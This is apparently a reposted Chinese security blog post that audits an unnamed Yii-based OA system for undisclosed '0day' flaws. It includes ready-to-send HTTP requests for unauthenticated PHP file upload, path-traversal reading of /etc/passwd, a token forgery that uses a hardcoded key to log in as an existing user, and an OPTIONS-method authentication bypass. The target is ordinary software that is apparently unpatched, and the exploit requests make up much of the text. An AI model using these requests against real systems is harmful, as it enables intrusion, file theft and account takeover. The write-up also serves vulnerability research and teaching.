某OA 0day审计分析

admin 2024年3月15日07:46:26评论17 views字数 5457阅读18分11秒阅读模式

前言

本次审计的是一套Yii框架开发的OA系统,算是小0day吧,由于尚未公开,大部分都是厚码。

本篇文章由星盟安全团队成员@Zjacky师傅投稿,博客地址为https://zjackky.github.io/

开发文档

(有的时候一键搭建的时候是会存在一些开发文档的,这些入口文件,路由拼接 , 都需要去查看这些开发文档)

某OA 0day审计分析
某OA 0day审计分析

可以发现他其实是以system作为根目录来进行模块化管理,所以我们可以对照着开发文档以及登录的接口来对比看这个MVC框架是如何对应的,当然了,我们可以找到他的Yii入口文件为/web/index.php

这个index.php做了几个定义

首先是设定了我们用户登录的地址为/oa/main/login

然后应用的入口为oa

某OA 0day审计分析

抓到登录的接口

某OA 0day审计分析

可以发现是/oa/main/login这样的接口(由于他有csrf-token所以重放包会302),所以直接看报错回显即可。

那我们再来仔细看看Yii的路由分析(具体详细的原理代码跟踪在参考链接中可参考)

其实框架的URI分析还是有点复杂的(看个大概就行),这个时候我们来找找这个/oa/main/login是怎么对应的

systemmodulesoacontrollersMainController.php 找到以下代码

某OA 0day审计分析
某OA 0day审计分析

继续跟进

systemmodulesusercomponentsLoginAction::className()

搜索一下账号不存在其实就可以找到确实是这么个对应法了

某OA 0day审计分析

那么这个路由总结一下

/oa/main/login -> 模块名(models)/控制器(controller)/操作(action)

当然了 ,在后续的审计过程中发现其实也给出了相对应的路由访问形式写在了代码中的

某OA 0day审计分析

会在$dependIgnoreValueList 变量中将一些路由访问形式写出来(前提是这个$layout是一个@开头的东东)

审计

上传1

全局搜了下move_uploaded_file 然后找了两个在modules下的文件进行审计

某OA 0day审计分析

当进去看上传逻辑的时候发现有一个很抽象的点,开发把扩展后缀的限制注释掉了,所以导致了后面写$config的时候会没有效果

某OA 0day审计分析

那么很有可能就会存在任意文件上传了,然后下面的操作就是跟进了下saveAs方法发现也并没有什么过滤

某OA 0day审计分析

那么接下来就是如何去找到一个控制器是调用了这个类的方法

systemmodulesmainextendSaveUpload.php#saveFile的

emmm 全局搜索了下发现并没有,于是我在此全局搜索了下SaveUpload这个关键词

某OA 0day审计分析

发现一个点,他通过命名空间来进行调用方法的,所以说只要出现了SaveUpload::saveFile( (并且在modules下)就会存在任意文件上传了

某OA 0day审计分析

那么在上述已经讲述过了Yii框架的路由分析,所以这个时候只要去找到谁去调用了这些路径的方法即可 ,比如全局搜索

  • systemmodulesmainextendUpload.php

  • systemmodulespartyextendUpload.php

某OA 0day审计分析

但是上述两个最为简单的发现并没有成功

某OA 0day审计分析

这里太多任意文件上传

其实大部分都不能成功的,因为鉴权了,但是以下是存在未授权访问的

  • contacts/default/upload

  • salary/record/upload

  • knowledge/default/upload

某OA 0day审计分析

而鉴权的代码是这样子的

某OA 0day审计分析

最终报文

POST /index.php/salary/record/upload HTTP/1.1Host: xxxContent-Length: 196Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQayVsySyhSwgpmLkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/upload/upload.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

------WebKitFormBoundaryQayVsySyhSwgpmLkContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png

<?php phpinfo();?>------WebKitFormBoundaryQayVsySyhSwgpmLk--

上传2 + 任意文件下载

全局搜索函数move_uploaded_file

找到webstaticlibwebofficejsOfficeServer.php这个文件

直接访问下发现返回200证明文件存在

某OA 0day审计分析

接着审计代码逻辑

某OA 0day审计分析

代码很短,可以很轻松读懂,获取一个json值,然后获取他的OPTION值满足他的switch值就可以进入到上传的逻辑,可以进行文件下载,也可以进行上传

经过测试,可控

某OA 0day审计分析
某OA 0day审计分析

接着就是构造下载包和上传包了

某OA 0day审计分析
GET /static/lib/weboffice/js/OfficeServer.php?FormData={%22OPTION%22:%22LOADFILE%22,%22FILEPATH%22:%22/../../../../../../../../../../../etc/passwd%22} HTTP/1.1Host: xxxxAccept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36X-Requested-With: XMLHttpRequestReferer: http://oa1.shuidinet.com/index.php/oa/main/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
某OA 0day审计分析
POST /static/lib/weboffice/js/OfficeServer.php?FormData={%22OPTION%22:%22SAVEFILE%22,"FILEPATH":"/222.php"} HTTP/1.1Host: xxxxContent-Length: 202Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQayVsySyhSwgpmLkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/upload/upload.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

------WebKitFormBoundaryQayVsySyhSwgpmLkContent-Disposition: form-data; name="FileData"; filename="222.php"Content-Type: image/png

<?php phpinfo();?>------WebKitFormBoundaryQayVsySyhSwgpmLk--

任意用户登录

在上传的篇章中是可以知道架构的,看了oa下的文件,发现Auth的鉴权控制器查看后发现存在硬编码

某OA 0day审计分析
某OA 0day审计分析

当然也给了注释

某OA 0day审计分析

那么构造逻辑即可成功登录,传入user base64加密的内容并且跟key进行拼接后再md5加密传为token, 两者相等即可登录

前提是user是存在的(跑一下就知道是zhangsan存在)

GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1Host: xxxxUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

# user zhangsan
某OA 0day审计分析

直接跳转即可登录了

权限绕过

找到这个文件

api/modules/v1/controllers/UserController.php

某OA 0day审计分析

细看这里的代码

某OA 0day审计分析
    // 不需要认证的方法,用下划线形式,如get_info    public $notAuthAction = ['auth','verify-url'];

方法名为

actionVerifyUrl()actionGetInfo() actionAuth()

直接传参,actionAuth 和 VerifyUrl 不需要鉴权

那也就是说GetInfo是需要鉴权的,我们传参进去试试

需要去熟悉一下Yii的框架了,所以从他的/web/下的入口文件来找到定义/api的入口 -> oa-api.php

某OA 0day审计分析

尝试以下传参后发现返回404

/oa-api.php/v1/user/getinfo?id=1

重新回过头来查看这串代码

public $notAuthAction = ['auth','verify-url'];

发现可能中间会存在-来进行分割

所以最终通过以下传参发现成功传入但回显为401证明存在鉴权

/oa-api.php/v1/user/get-info?id=1
某OA 0day审计分析

这里因为他继承了BaseApiController 所以跟进父类查看

某OA 0day审计分析

tips: 这里的behaviors方法应该是会先走的

所以下边有一个||进行了一个if判断,这里判断登录是否请求方式为OPTIONS 或者 是不鉴权的接口(notAuthAction)就进入下面逻辑,那就猜测通过OPTIONS后就不鉴权了接口于是构造报文

某OA 0day审计分析

参考链接

  • https://blog.csdn.net/yang1018679/article/details/105929162 (Yii路由分析一)

  • https://blog.csdn.net/yang1018679/article/details/105935326 (Yii路由分析二)

总结

  • 一定要细心,多仔细去猜测开发的思路

  • 多猜测一些奇怪的写法(以黑盒的逻辑来看白盒)

  • 要有经验

原文始发于微信公众号(星盟安全):某OA 0day审计分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月15日07:46:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某OA 0day审计分析https://cn-sec.com/archives/2575961.html

发表评论

匿名网友 填写信息